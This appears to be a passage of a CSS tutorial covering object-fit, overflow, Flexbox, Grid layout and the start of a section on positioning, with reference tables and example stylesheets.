contain Scale to fit within container Preserved - shows all content Product images, logos (no cropping)
cover Scale to fill container Preserved - may crop edges Hero images, backgrounds, thumbnails
none Original size, centered Preserved - may overflow/gap Icons, exact size display
scale-down Smaller of none or contain Preserved - never enlarges Thumbnails, small images
Property Syntax Description Example
object-position x y Position content within box object-position: center top;
Keywords top, right, bottom, left, center Named positions object-position: right bottom;
Percentages 0-100% Relative positioning object-position: 75% 50%;
Lengths px, em, rem Absolute offset from top-left object-position: 20px 10px;

Example: object-fit values comparison

/* Common pattern: responsive images */
.image-container {
    width: 300px;
    height: 200px;
}

/* cover - fills space, crops if needed */
.hero-image {
    width: 100%;
    height: 100%;
    object-fit: cover;
    object-position: center; /* Focus on center */
}

/* contain - shows all, may have gaps */
.product-image {
    width: 100%;
    height: 100%;
    object-fit: contain;
    object-position: center;
}

/* scale-down - never enlarges */
.thumbnail {
    max-width: 150px;
    max-height: 150px;
    object-fit: scale-down;
}

/* none - original size */
.icon {
    width: 48px;
    height: 48px;
    object-fit: none;
}

Example: object-position for focal points

/* Focus on top of image (faces, important content) */
.portrait {
    object-fit: cover;
    object-position: center top;
}

/* Focus on bottom */
.landscape {
    object-fit: cover;
    object-position: center bottom;
}

/* Precise positioning with percentages */
.off-center {
    object-fit: cover;
    object-position: 75% 25%; /* Right-upper focus */
}

/* Video element */
video {
    width: 100%;
    height: 400px;
    object-fit: cover;
    object-position: center;
}

/* Profile pictures - always square, centered */
.avatar img {
    width: 100%;
    height: 100%;
    object-fit: cover;
    object-position: center;
    border-radius: 50%;
}
Note: Use cover for backgrounds/thumbnails (fills space), contain for logos/products (shows all). object-position controls focal point when content is cropped.

3.6 Overflow Controls (visible, hidden, scroll, auto)

Value Behavior Scrollbar Use Case
visible Content overflows container (default) None Default behavior, dropdowns
hidden Clips overflow, content invisible None Hide excess, image containers
scroll Always shows scrollbar, content scrollable Always visible Force scrollbar presence
auto Scrollbar only when needed When overflows Most common - adaptive scrolling
clip Hard clip (no scroll even programmatically) None Complete clip, no scroll anchor
Property Syntax Description Example
overflow value Both x and y axes overflow: auto;
overflow-x value Horizontal overflow only overflow-x: scroll;
overflow-y value Vertical overflow only overflow-y: auto;
overflow (shorthand) x y Set both axes separately overflow: hidden auto;
overflow-wrap break-word Break long words to prevent overflow overflow-wrap: break-word;
text-overflow ellipsis Show ... for clipped text (requires overflow: hidden) text-overflow: ellipsis;

Example: Overflow behaviors

/* Auto - most common (scrollbar when needed) */
.scrollable-container {
    max-height: 400px;
    overflow: auto;
}

/* Hidden - clip overflow */
.image-container {
    overflow: hidden; /* Clips overflow content */
    border-radius: 8px; /* Creates rounded images */
}

/* Separate x and y control */
.horizontal-scroll {
    overflow-x: auto;   /* Horizontal scroll when needed */
    overflow-y: hidden; /* No vertical scroll */
    white-space: nowrap; /* Prevent wrapping */
}

/* Vertical scroll only */
.chat-box {
    height: 500px;
    overflow-y: auto;   /* Vertical scroll */
    overflow-x: hidden; /* No horizontal scroll */
}

/* Clip - hard clip (no scroll programmatically) */
.strict-clip {
    overflow: clip; /* Cannot be scrolled even with JS */
}

Example: Text overflow ellipsis

/* Single line ellipsis */
.truncate {
    white-space: nowrap;      /* Prevent wrapping */
    overflow: hidden;         /* Hide overflow */
    text-overflow: ellipsis;  /* Show ... */
}

/* Multi-line ellipsis (webkit only) */
.multi-line-ellipsis {
    display: -webkit-box;
    -webkit-line-clamp: 3;    /* 3 lines */
    -webkit-box-orient: vertical;
    overflow: hidden;
}

/* Word breaking for long content */
.break-words {
    overflow-wrap: break-word; /* Break long words */
    word-break: break-word;    /* Alternative */
}

/* Card title truncation */
.card-title {
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    max-width: 300px;
}

Example: Scroll containers and behavior

/* Scrollable sidebar */
.sidebar {
    position: fixed;
    height: 100vh;
    overflow-y: auto;
    overflow-x: hidden;
}

/* Horizontal scrolling gallery */
.gallery {
    display: flex;
    gap: 1rem;
    overflow-x: auto;
    overflow-y: hidden;
    scroll-snap-type: x mandatory; /* Snap scrolling */
}

/* Table with fixed header */
.table-container {
    max-height: 500px;
    overflow-y: auto;
}

/* Modal content */
.modal-content {
    max-height: 80vh;
    overflow-y: auto;
    overflow-x: hidden;
}

/* Code block with horizontal scroll */
pre {
    overflow-x: auto;
    white-space: pre;
}
Warning: overflow: hidden creates a new formatting context which can affect layout (margin collapse, floats). Use overflow: auto for scrollable containers.

Box Model Best Practices

  • Always use box-sizing: border-box globally
  • Use aspect-ratio for responsive media containers
  • Use object-fit: cover for hero images, contain for product images
  • Use overflow: auto for scrollable areas (not scroll)
  • Use fit-content for buttons and dynamic width elements
  • Remember margin collapse - adjacent vertical margins merge
  • Combine text-overflow: ellipsis with white-space: nowrap and overflow: hidden

4. Flexbox Layout Complete Guide

4.1 Flex Container Properties

Property Values Description Default
display flex | inline-flex Defines flex container (block or inline level) -
flex-direction row | row-reverse | column | column-reverse Main axis direction (horizontal or vertical) row
flex-wrap nowrap | wrap | wrap-reverse Whether items wrap to new lines nowrap
flex-flow direction wrap Shorthand for flex-direction and flex-wrap row nowrap
justify-content start | center | space-between | space-around | space-evenly Alignment along main axis flex-start
align-items stretch | start | center | end | baseline Alignment along cross axis (single line) stretch
align-content start | center | space-between | space-around | stretch Alignment of multiple lines (when wrapped) stretch
gap length | row-gap column-gap Spacing between flex items 0
row-gap length Vertical spacing between rows 0
column-gap length Horizontal spacing between items 0

Example: Basic flex container setup

/* Create flex container */
.container {
    display: flex;
    flex-direction: row;    /* Horizontal layout (default) */
    flex-wrap: wrap;        /* Allow wrapping */
    gap: 1rem;              /* Modern spacing */
}

/* Alternative: inline-flex */
.inline-container {
    display: inline-flex;   /* Inline-level flex container */
}

/* Shorthand */
.shorthand {
    display: flex;
    flex-flow: row wrap;    /* direction + wrap */
}

4.2 Flex Item Properties and Behavior

Property Values Description Default
order integer Controls visual order (without changing DOM) 0
flex-grow number ≥ 0 Growth factor (share of remaining space) 0
flex-shrink number ≥ 0 Shrink factor (when insufficient space) 1
flex-basis auto | length | % Initial main size before grow/shrink auto
flex grow shrink basis Shorthand for grow, shrink, basis 0 1 auto
align-self auto | start | center | end | stretch | baseline Override align-items for individual item auto
flex Shorthand Expands To Description Use Case
flex: 1 1 1 0% Equal-width items, grow and shrink Equal columns/cards
flex: auto 1 1 auto Flexible based on content size Content-driven sizing
flex: none 0 0 auto Fixed size, no grow or shrink Icons, fixed-width elements
flex: 0 1 auto 0 1 auto Default - shrinks but doesn't grow Default behavior
flex: 2 2 1 0% Grows 2x relative to flex: 1 items Proportional sizing

Example: Flex item properties

/* Equal-width items */
.item {
    flex: 1;  /* All items share space equally */
}

/* Proportional sizing */
.sidebar {
    flex: 1;  /* Takes 1 part */
}
.main {
    flex: 3;  /* Takes 3 parts (3x wider) */
}

/* Fixed size item */
.fixed {
    flex: none;  /* Doesn't grow or shrink */
    width: 200px;
}

/* Content-based sizing */
.auto-size {
    flex: auto;  /* Flexible based on content */
}

/* Reorder items visually */
.header { order: -1; }  /* First */
.main { order: 1; }     /* Second */
.footer { order: 2; }   /* Third */

/* Individual alignment */
.special {
    align-self: center;  /* Override container's align-items */
}

4.3 Flex Direction and Wrap Controls

flex-direction Values

Value Main Axis Behavior
row Horizontal → Left to right (default)
row-reverse Horizontal ← Right to left
column Vertical ↓ Top to bottom
column-reverse Vertical ↑ Bottom to top

flex-wrap Values

Value Behavior
nowrap Single line (default)
wrap Multi-line, wrap down
wrap-reverse Multi-line, wrap up

Example: Direction and wrapping

/* Horizontal layout (default) */
.horizontal {
    display: flex;
    flex-direction: row;  /* Left to right */
}

/* Vertical layout */
.vertical {
    display: flex;
    flex-direction: column;  /* Top to bottom */
}

/* Reversed horizontal */
.reversed {
    display: flex;
    flex-direction: row-reverse;  /* Right to left */
}

/* Wrapping items */
.wrap-container {
    display: flex;
    flex-wrap: wrap;  /* Allow items to wrap to next line */
    gap: 1rem;
}

/* No wrapping (default) */
.no-wrap {
    display: flex;
    flex-wrap: nowrap;  /* Force single line, items shrink */
}

/* Combined shorthand */
.combined {
    display: flex;
    flex-flow: column wrap;  /* Vertical + wrapping */
}

4.4 Alignment Properties (justify, align)

Property Axis Values Description
justify-content Main axis flex-start | center | flex-end | space-between | space-around | space-evenly Distributes items along main axis
align-items Cross axis stretch | flex-start | center | flex-end | baseline Aligns items on cross axis (single line)
align-content Cross axis flex-start | center | flex-end | space-between | space-around | stretch Aligns flex lines (multi-line only)
align-self Cross axis auto | flex-start | center | flex-end | stretch | baseline Override align-items for one item

justify-content (Main Axis)

  • flex-start - Start of line
  • center - Centered
  • flex-end - End of line
  • space-between - Equal spacing, no edges
  • space-around - Equal space around items
  • space-evenly - Equal space everywhere

align-items (Cross Axis)

  • stretch - Fill container (default)
  • flex-start - Start of cross axis
  • center - Centered
  • flex-end - End of cross axis
  • baseline - Text baseline aligned

align-content (Multi-line)

  • stretch - Lines fill space
  • flex-start - Lines at start
  • center - Lines centered
  • space-between - Space between lines
  • space-around - Space around lines

Example: Alignment patterns

/* Center horizontally and vertically (Holy Grail) */
.center-both {
    display: flex;
    justify-content: center;  /* Horizontal center */
    align-items: center;      /* Vertical center */
}

/* Space items evenly */
.space-evenly {
    display: flex;
    justify-content: space-between;  /* Max space between */
}

/* Align to end */
.align-end {
    display: flex;
    justify-content: flex-end;  /* Right align (row) */
    align-items: flex-end;      /* Bottom align */
}

/* Multi-line alignment */
.multi-line {
    display: flex;
    flex-wrap: wrap;
    align-content: space-between;  /* Space between lines */
}

/* Individual item alignment */
.container {
    display: flex;
    align-items: flex-start;  /* Default for all items */
}
.special-item {
    align-self: flex-end;  /* Override for this item */
}

4.5 Flex Basis, Grow, and Shrink Calculations

Property Formula Description Default
flex-basis Initial size Starting size before grow/shrink applied auto
flex-grow (free space × grow) / sum of all grows How much item grows relative to siblings 0
flex-shrink (overflow × shrink × basis) / sum How much item shrinks relative to siblings 1

Example: flex-basis vs width

/* flex-basis sets initial size on main axis */
.item {
    flex-basis: 200px;  /* 200px on main axis (width if row, height if column) */
}

/* auto - uses content or width/height */
.auto-basis {
    flex-basis: auto;   /* Uses width/height if set, else content size */
    width: 150px;       /* This is used as basis */
}

/* 0 vs auto difference */
.zero-basis {
    flex: 1 1 0%;  /* Ignores content size, pure ratio */
}
.auto-basis {
    flex: 1 1 auto;  /* Respects content size, then distributes */
}

Example: flex-grow calculation

/* Container: 1000px, 3 items with 100px basis each */
.container {
    display: flex;
    width: 1000px;
}

/* Free space = 1000 - (100 + 100 + 100) = 700px */

.item1 {
    flex: 1 0 100px;  /* Gets 1/4 of 700px = 175px → Total: 275px */
}
.item2 {
    flex: 2 0 100px;  /* Gets 2/4 of 700px = 350px → Total: 450px */
}
.item3 {
    flex: 1 0 100px;  /* Gets 1/4 of 700px = 175px → Total: 275px */
}
/* Sum of grows = 1 + 2 + 1 = 4 */

/* Equal width items */
.equal {
    flex: 1;  /* All get same width (flex: 1 1 0%) */
}

Example: flex-shrink calculation

/* Container: 500px, 3 items want 300px each */
.container {
    display: flex;
    width: 500px;
}

/* Overflow = (300 + 300 + 300) - 500 = 400px */

.item1 {
    flex: 0 1 300px;  /* Shrink factor: 1, loses proportional space */
}
.item2 {
    flex: 0 2 300px;  /* Shrink factor: 2, loses 2x more */
}
.item3 {
    flex: 0 1 300px;  /* Shrink factor: 1 */
}
/* Sum = 1 + 2 + 1 = 4 */
/* item1 loses: 400 × (1/4) = 100px → 200px */
/* item2 loses: 400 × (2/4) = 200px → 100px */
/* item3 loses: 400 × (1/4) = 100px → 200px */

/* Prevent shrinking */
.no-shrink {
    flex-shrink: 0;  /* Maintains size */
}
Note: flex-basis takes precedence over width/height. Use flex: 1 for equal-width items. flex-shrink: 0 prevents items from shrinking below flex-basis.

4.6 Common Flexbox Patterns and Use Cases

Pattern Key Properties Description Use Case
Navigation Bar display: flex; align-items: center; gap: 1rem; Horizontal items with auto-push last item Header navigation, toolbars
Card Grid flex: 1 1 300px; flex-wrap: wrap; Equal height cards with responsive wrapping Product grids, blog posts
Holy Grail Layout flex-direction: column; flex: 1; Header, 3-column content, footer Full page layouts
Media Object display: flex; gap: 1rem; Image + text side-by-side Comments, notifications, list items
Sticky Footer min-height: 100vh; flex: 1; Footer pushed to bottom of viewport Full-height pages
Perfect Centering justify-content: center; align-items: center; Center content horizontally and vertically Modals, hero sections, empty states
Responsive Grid flex: 1 1 calc(33.333% - 1rem); min-width: 250px; Flexible columns that stack responsively Alternative to CSS Grid
Space Between justify-content: space-between; Items at edges with equal spacing Form labels, icon bars
Technique Method Description Example
Auto Margins margin-left: auto; Push items to opposite side Login button to right in nav
Equal Widths flex: 1; All items take equal space Button groups, tabs
Fixed + Flexible flex: 0 0 200px; + flex: 1; Fixed sidebar + flexible content Dashboard layouts
Wrap Control flex-wrap: wrap; Items move to next line when no space Tags, chips, badges
Vertical Stack flex-direction: column; Vertical arrangement of items Sidebars, mobile menus
Reverse Order flex-direction: row-reverse; Right-to-left or bottom-to-top ordering RTL layouts, visual reordering
Visual Reordering order: -1 | 0 | 1; Change visual order without DOM changes Mobile menu reordering

Example: Navigation bar

/* Horizontal navigation */
.nav {
    display: flex;
    align-items: center;
    gap: 1rem;
}

.nav-item {
    flex: none;  /* Fixed size items */
}

/* Push last item to right */
.nav-end {
    margin-left: auto;  /* Pushes to right */
}

/* Full pattern */
<nav class="nav">
    <div class="logo">Logo</div>
    <div class="nav-item">Home</div>
    <div class="nav-item">About</div>
    <div class="nav-item nav-end">Login</div>
</nav>

Example: Card layout with equal heights

/* Equal height cards */
.card-container {
    display: flex;
    gap: 1rem;
    flex-wrap: wrap;
}

.card {
    flex: 1 1 300px;  /* Min 300px, flexible */
    display: flex;
    flex-direction: column;
}

.card-content {
    flex: 1;  /* Takes remaining space */
}

.card-footer {
    margin-top: auto;  /* Push to bottom */
}
/* Full page flex layout */
.page {
    display: flex;
    flex-direction: column;
    min-height: 100vh;
}

.header, .footer {
    flex: none;  /* Fixed height */
}

.main {
    flex: 1;  /* Fill remaining space */
    display: flex;
}

.sidebar {
    flex: 0 0 250px;  /* Fixed 250px width */
}

.content {
    flex: 1;  /* Fill remaining width */
}

.aside {
    flex: 0 0 200px;  /* Fixed 200px width */
}

Example: Media object pattern

/* Image + text side-by-side */
.media {
    display: flex;
    align-items: flex-start;
    gap: 1rem;
}

.media-image {
    flex: none;  /* Fixed width image */
    width: 100px;
}

.media-content {
    flex: 1;  /* Text fills remaining space */
}

/* Responsive: stack on mobile */
@media (max-width: 600px) {
    .media {
        flex-direction: column;
    }
}
/* Sticky footer pattern */
.page {
    display: flex;
    flex-direction: column;
    min-height: 100vh;
}

.content {
    flex: 1;  /* Grows to fill space */
}

.footer {
    flex: none;  /* Always at bottom */
}

Example: Responsive grid alternative

/* Flexbox responsive grid */
.flex-grid {
    display: flex;
    flex-wrap: wrap;
    gap: 1rem;
}

.flex-grid > * {
    flex: 1 1 calc(33.333% - 1rem);  /* 3 columns */
    min-width: 250px;  /* Stack when too narrow */
}

/* 2 columns */
.two-col {
    flex: 1 1 calc(50% - 1rem);
    min-width: 300px;
}

/* 4 columns */
.four-col {
    flex: 1 1 calc(25% - 1rem);
    min-width: 200px;
}

Example: Centering techniques

/* Center single item */
.center {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
}

/* Center multiple items vertically */
.vertical-center {
    display: flex;
    flex-direction: column;
    justify-content: center;
    min-height: 100vh;
    gap: 1rem;
}

/* Center with margin auto */
.container {
    display: flex;
}
.centered-item {
    margin: auto;  /* Centers in both directions */
}

Flexbox Best Practices

  • Use flex: 1 for equal-width items
  • Use gap instead of margins for spacing
  • Use margin-left: auto to push items to the right
  • Use flex-direction: column for vertical layouts
  • Use flex-wrap: wrap for responsive layouts
  • Combine display: flex + justify-content: center + align-items: center for perfect centering
  • Use flex: none for fixed-size items that shouldn't grow/shrink
  • Use Flexbox for 1-dimensional layouts (rows or columns), Grid for 2D layouts

5. CSS Grid Layout Mastery

5.1 Grid Container Setup and Properties

Property Values Description Default
display grid | inline-grid Creates grid container (block or inline level) -
grid-template-columns track-size ... Defines column tracks (widths) none
grid-template-rows track-size ... Defines row tracks (heights) none
grid-template-areas "area names" Named grid areas for item placement none
grid-template rows / columns Shorthand for rows, columns, areas none
gap / grid-gap row-gap column-gap Spacing between rows and columns 0
row-gap length Spacing between rows 0
column-gap length Spacing between columns 0
justify-items start | center | end | stretch Align items horizontally within cells stretch
align-items start | center | end | stretch Align items vertically within cells stretch
place-items align justify Shorthand for align-items and justify-items stretch
justify-content start | center | end | space-between | space-around | space-evenly Align entire grid horizontally in container start
align-content start | center | end | space-between | space-around | space-evenly Align entire grid vertically in container start
place-content align justify Shorthand for align-content and justify-content start
grid-auto-columns track-size Size of implicit columns (auto-created) auto
grid-auto-rows track-size Size of implicit rows (auto-created) auto
grid-auto-flow row | column | dense Auto-placement algorithm direction row
Track Sizing Syntax Description Example
Fixed px, rem, % Fixed size tracks 200px 300px
fr Unit 1fr 2fr Flexible fraction of available space 1fr 2fr (1:2 ratio)
auto auto Size based on content auto 1fr auto
min-content min-content Smallest possible without overflow min-content 1fr
max-content max-content Largest content size without wrapping max-content 1fr
minmax() minmax(min, max) Size range between min and max minmax(200px, 1fr)
fit-content() fit-content(limit) min(max-content, max(min-content, limit)) fit-content(300px)
repeat() repeat(count, tracks) Repeat track pattern count times repeat(3, 1fr)
auto-fill repeat(auto-fill, size) Creates as many tracks as fit repeat(auto-fill, 200px)
auto-fit repeat(auto-fit, size) Like auto-fill but collapses empty tracks repeat(auto-fit, minmax(200px, 1fr))

Example: Basic grid setup

/* Simple grid - 3 equal columns */
.grid {
    display: grid;
    grid-template-columns: 1fr 1fr 1fr;
    /* Or shorter: */
    grid-template-columns: repeat(3, 1fr);
    gap: 1rem;
}

/* Fixed and flexible columns */
.layout {
    display: grid;
    grid-template-columns: 250px 1fr 200px; /* Sidebar, main, aside */
    grid-template-rows: auto 1fr auto; /* Header, content, footer */
    gap: 20px;
    min-height: 100vh;
}

/* Responsive grid with auto-fit */
.responsive-grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
    gap: 1rem;
    /* Items wrap automatically when space is insufficient */
}

Example: Track sizing functions

/* minmax() for flexible constraints */
.grid {
    grid-template-columns: 
        minmax(200px, 300px)  /* Between 200px and 300px */
        minmax(0, 1fr);       /* Grows but can shrink to 0 */
}

/* auto-fill vs auto-fit */
.auto-fill {
    /* Creates empty tracks if space available */
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
}

.auto-fit {
    /* Collapses empty tracks, items grow to fill */
    grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
}

/* Complex patterns */
.complex {
    grid-template-columns: 
        200px              /* Fixed sidebar */
        repeat(3, 1fr)     /* 3 equal flexible columns */
        minmax(150px, 20%); /* Constrained column */
}

5.2 Grid Item Placement and Spanning

Property Values Description Example
grid-column-start line | span n Start column line number grid-column-start: 1;
grid-column-end line | span n End column line number grid-column-end: 3;
grid-column start / end Shorthand for column start and end grid-column: 1 / 3;
grid-row-start line | span n Start row line number grid-row-start: 1;
grid-row-end line | span n End row line number grid-row-end: 4;
grid-row start / end Shorthand for row start and end grid-row: 1 / 4;
grid-area row-start / col-start / row-end / col-end Shorthand for all placement properties grid-area: 1 / 1 / 3 / 4;
span keyword span n Span n tracks from start position grid-column: span 2;
-1 (negative) -1, -2, -3... Count from end (right/bottom) grid-column: 1 / -1;
justify-self start | center | end | stretch Horizontal alignment within cell justify-self: center;
align-self start | center | end | stretch Vertical alignment within cell align-self: center;
place-self align justify Shorthand for align-self and justify-self place-self: center;

Example: Item placement with line numbers

/* Grid with 3 columns, 3 rows */
.grid {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    grid-template-rows: repeat(3, 100px);
    gap: 10px;
}

/* Place item from column 1 to 3 (spans 2 columns) */
.item1 {
    grid-column: 1 / 3;  /* Start at line 1, end at line 3 */
    grid-row: 1 / 2;     /* First row */
}

/* Alternative: using span */
.item2 {
    grid-column: span 2;  /* Span 2 columns from auto position */
    grid-row: 2;
}

/* Full row span */
.header {
    grid-column: 1 / -1;  /* From first to last column */
}

/* Complex placement */
.featured {
    grid-column: 2 / 4;  /* Columns 2-3 */
    grid-row: 1 / 3;     /* Rows 1-2 (spans 2 rows) */
}

Example: Spanning and negative indices

/* Span multiple columns/rows */
.wide {
    grid-column: span 3;  /* Span 3 columns */
}

.tall {
    grid-row: span 2;  /* Span 2 rows */
}

/* Negative line numbers (count from end) */
.full-width {
    grid-column: 1 / -1;  /* First to last column */
}

.last-column {
    grid-column: -2 / -1;  /* Second-to-last to last */
}

/* Shorthand grid-area */
.box {
    /* row-start / col-start / row-end / col-end */
    grid-area: 1 / 2 / 3 / 4;
}

/* Self-alignment */
.centered {
    place-self: center;  /* Center in both directions */
}

5.3 Grid Template Areas and Named Lines

Feature Syntax Description Use Case
grid-template-areas "area1 area2" "area3 area4" Visual ASCII-art layout definition Semantic page layouts
grid-area (name) grid-area: name; Assign item to named area Place items in template areas
. (dot) "header . sidebar" Empty cell (no content) Gaps in layout
Named Lines [name] size [name] Name grid lines for reference Semantic line references
Line Name Syntax grid-column: name-start / name-end; Reference named lines Readable placement code

Example: Grid template areas

/* Visual layout definition */
.page {
    display: grid;
    grid-template-columns: 200px 1fr 150px;
    grid-template-rows: auto 1fr auto;
    grid-template-areas:
        "header  header  header"
        "sidebar content aside"
        "footer  footer  footer";
    gap: 1rem;
    min-height: 100vh;
}

/* Assign items to areas */
.header  { grid-area: header; }
.sidebar { grid-area: sidebar; }
.content { grid-area: content; }
.aside   { grid-area: aside; }
.footer  { grid-area: footer; }

/* Empty cells with dot */
.layout-with-gap {
    grid-template-areas:
        "logo  nav    nav"
        "main  main   ."
        "footer footer footer";
}

Example: Named grid lines

/* Define named lines */
.grid {
    display: grid;
    grid-template-columns: 
        [main-start] 1fr 
        [content-start] 2fr 
        [content-end] 1fr 
        [main-end];
    grid-template-rows:
        [header-start] auto
        [header-end content-start] 1fr
        [content-end footer-start] auto
        [footer-end];
}

/* Use named lines for placement */
.header {
    grid-column: main-start / main-end;
    grid-row: header-start / header-end;
}

.main-content {
    grid-column: content-start / content-end;
    grid-row: content-start / content-end;
}

/* Multiple names for same line */
.grid-multi {
    grid-template-columns:
        [sidebar-start] 250px
        [sidebar-end main-start] 1fr
        [main-end];
}
Note: Grid template areas create a visual representation of layout in code. Named lines provide semantic meaning to grid structure. Both improve code readability.

5.4 Implicit Grid Behavior and Auto-placement

Property Values Description Use Case
grid-auto-flow row | column | dense Direction for auto-placed items Control placement algorithm
row (default) grid-auto-flow: row; Fill rows first, then create new row Horizontal reading order
column grid-auto-flow: column; Fill columns first, then create new column Vertical reading order
dense grid-auto-flow: row dense; Fill gaps with smaller items (reorder) Masonry-like layouts
grid-auto-rows size Size of implicitly created rows Auto-generated row height
grid-auto-columns size Size of implicitly created columns Auto-generated column width

Example: Auto-placement behavior

/* Explicit grid: 3 columns, 2 rows */
.grid {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    grid-template-rows: 100px 100px;
    gap: 10px;
}

/* If more than 6 items, implicit rows are created */
.grid {
    grid-auto-rows: 100px;  /* Size for auto-created rows */
}

/* Column flow instead of row */
.column-flow {
    display: grid;
    grid-template-rows: repeat(3, 100px);
    grid-auto-flow: column;  /* Create new columns as needed */
    grid-auto-columns: 200px; /* Size of auto columns */
}

/* Dense packing (fills gaps) */
.masonry {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    grid-auto-flow: dense;  /* Fill gaps with later items */
    gap: 10px;
}

.item-large {
    grid-column: span 2;  /* Takes 2 columns */
}

Example: Implicit vs explicit tracks

/* Explicit: defined tracks */
.grid {
    display: grid;
    grid-template-columns: 200px 1fr 200px;  /* 3 explicit columns */
    grid-template-rows: auto 1fr;            /* 2 explicit rows */
    
    /* Implicit: auto-created when items overflow */
    grid-auto-rows: minmax(100px, auto);     /* Auto rows grow with content */
    grid-auto-columns: 200px;                /* Auto columns fixed */
}

/* Items beyond explicit grid create implicit tracks */
.item {
    grid-column: 1;   /* Uses explicit column */
}

.item-overflow {
    grid-column: 5;   /* Creates implicit columns 4 and 5 */
}

/* Auto-fit with implicit rows */
.responsive {
    grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
    grid-auto-rows: 200px;  /* All rows (implicit) are 200px */
}
Warning: grid-auto-flow: dense can change visual order from DOM order, which may confuse screen readers and keyboard navigation. Use carefully for accessibility.

5.5 Subgrid Implementation and Use Cases NEW

Feature Syntax Description Use Case
subgrid grid-template-columns: subgrid; Inherits parent's column tracks Nested grids aligned to parent
subgrid rows grid-template-rows: subgrid; Inherits parent's row tracks Vertical alignment across nested items
Both axes grid-template: subgrid / subgrid; Inherits both rows and columns Complete parent grid alignment
Named lines Inherited from parent Subgrid can use parent's named lines Semantic line references

Example: Subgrid basics

/* Parent grid */
.parent {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    gap: 1rem;
}

/* Child item spans multiple columns and becomes subgrid */
.child-grid {
    grid-column: span 4;  /* Spans all 4 parent columns */
    
    display: grid;
    grid-template-columns: subgrid;  /* Inherits 4 columns from parent */
    gap: 0.5rem;  /* Can override gap */
}

/* Grandchildren align to parent grid */
.grandchild {
    /* Automatically placed in parent's column tracks */
}

/* Practical: Card with aligned content */
.card-grid {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 1rem;
}

.card {
    display: grid;
    grid-template-rows: subgrid;  /* Align card sections vertically */
    grid-row: span 3;  /* Card spans 3 rows: image, title, description */
}

Example: Subgrid for consistent alignment

/* Product cards with aligned prices */
.products {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
    grid-auto-rows: auto auto auto 1fr auto;  /* image, title, desc, spacer, price */
    gap: 1rem;
}

.product-card {
    display: grid;
    grid-template-rows: subgrid;  /* Inherit parent's 5 rows */
    grid-row: span 5;  /* Span all 5 rows */
    border: 1px solid #ddd;
    padding: 1rem;
}

/* All cards' prices align horizontally */
.product-image { grid-row: 1; }
.product-title { grid-row: 2; }
.product-desc { grid-row: 3; }
.product-price { grid-row: 5; }  /* Always at same height */

/* Form with label/input alignment */
.form {
    display: grid;
    grid-template-columns: [labels] 150px [inputs] 1fr;
    gap: 1rem;
}

.form-row {
    display: grid;
    grid-template-columns: subgrid;  /* Inherit label/input columns */
    grid-column: 1 / -1;  /* Span all columns */
}
Note: Subgrid enables alignment across nesting levels. Nested grid items can align with parent grid tracks. Browser support: Firefox 71+, Safari 16+, Chrome 117+

5.6 Grid vs Flexbox Decision Matrix

Criteria Use Flexbox Use Grid Reason
Dimension 1-dimensional (row OR column) 2-dimensional (rows AND columns) Grid handles both axes simultaneously
Content-driven ✓ Items control layout ✗ Container controls layout Flexbox better for variable content sizes
Layout-driven ✗ Content-first approach ✓ Structure-first approach Grid better for defined layouts
Wrapping Limited control (flex-wrap) Full control (grid-auto-flow, areas) Grid provides precise wrapping control
Alignment Single axis at a time Both axes independently Grid aligns items in both directions
Gap control Simple gap property Row-gap and column-gap separately Grid offers more granular spacing
Browser Support Excellent (IE10+ with prefixes) Good (IE11+ with prefixes, limited) Flexbox has wider legacy support
Overlapping Not native (needs absolute positioning) Native (grid items can overlap) Grid naturally supports overlays
Use Case Best Choice Why Alternative
Navigation bar Flexbox 1D horizontal layout, variable content Grid works but overkill
Page layout Grid 2D structure (header, sidebar, content, footer) Flexbox requires nesting
Card grid Grid Equal heights, precise columns/rows Flexbox with wrapping works
Button group Flexbox Content-driven sizing, simple alignment Grid is more complex
Form layout Grid Label/input alignment, multiple rows Flexbox needs nesting
Media object Flexbox Image + text, simple horizontal layout Grid works but simpler with Flex
Image gallery Grid Precise rows/columns, equal sizing Flexbox can work with wrap
Centering Either Both excellent for centering Flexbox slightly simpler
Dashboard Grid Complex 2D layout, overlapping panels Flexbox too complex
Responsive columns Grid auto-fit/auto-fill, precise control Flexbox with calc() more complex

Example: When to combine both

/* Grid for page structure */
.page {
    display: grid;
    grid-template-areas:
        "header header"
        "sidebar main"
        "footer footer";
    grid-template-columns: 250px 1fr;
}

/* Flexbox for navigation inside header */
.header {
    display: flex;
    justify-content: space-between;
    align-items: center;
}

/* Grid for card layout */
.cards {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
    gap: 1rem;
}

/* Flexbox for card content */
.card {
    display: flex;
    flex-direction: column;
}

.card-footer {
    margin-top: auto;  /* Push to bottom with flexbox */
}

Grid Best Practices

  • Use fr units for flexible, proportional sizing
  • Use repeat(auto-fit, minmax(...)) for responsive grids without media queries
  • Use grid-template-areas for readable, semantic layouts
  • Use gap instead of margins for consistent spacing
  • Use grid-column: 1 / -1 to span full width
  • Use minmax() to constrain track sizes while maintaining flexibility
  • Use subgrid to align nested grids with parent tracks
  • Combine Grid for page structure, Flexbox for component layout
  • Use Grid for 2D layouts, Flexbox for 1D layouts

6. CSS Positioning and Layering

6.1 Position Values (static, relative, absolute, fixed, sticky)

Position Value Behavior Offset Properties Flow Impact
static Normal document flow (default) Ignored (top, right, bottom, left have no effect) In flow, takes up space
relative Positioned relative to itself Active (offsets from normal position) In flow, original space reserved
absolute Positioned relative to nearest positioned ancestor Active (offsets from ancestor edges) Out of flow, no space reserved
fixed Positioned relative to viewport Active (offsets from viewport edges) Out of flow, no space reserved
sticky Hybrid: relative until threshold, then fixed Active (defines sticky threshold) In flow until sticky, then acts like fixed
Property Values Description Notes
position static | relative | absolute | fixed | sticky Sets positioning scheme Default: static
top length | % Offset from top edge Negative values move up
right length | % Offset from right edge Negative values move right
bottom length | % Offset from bottom edge Negative values move down
left length | % Offset from left edge Negative values move left
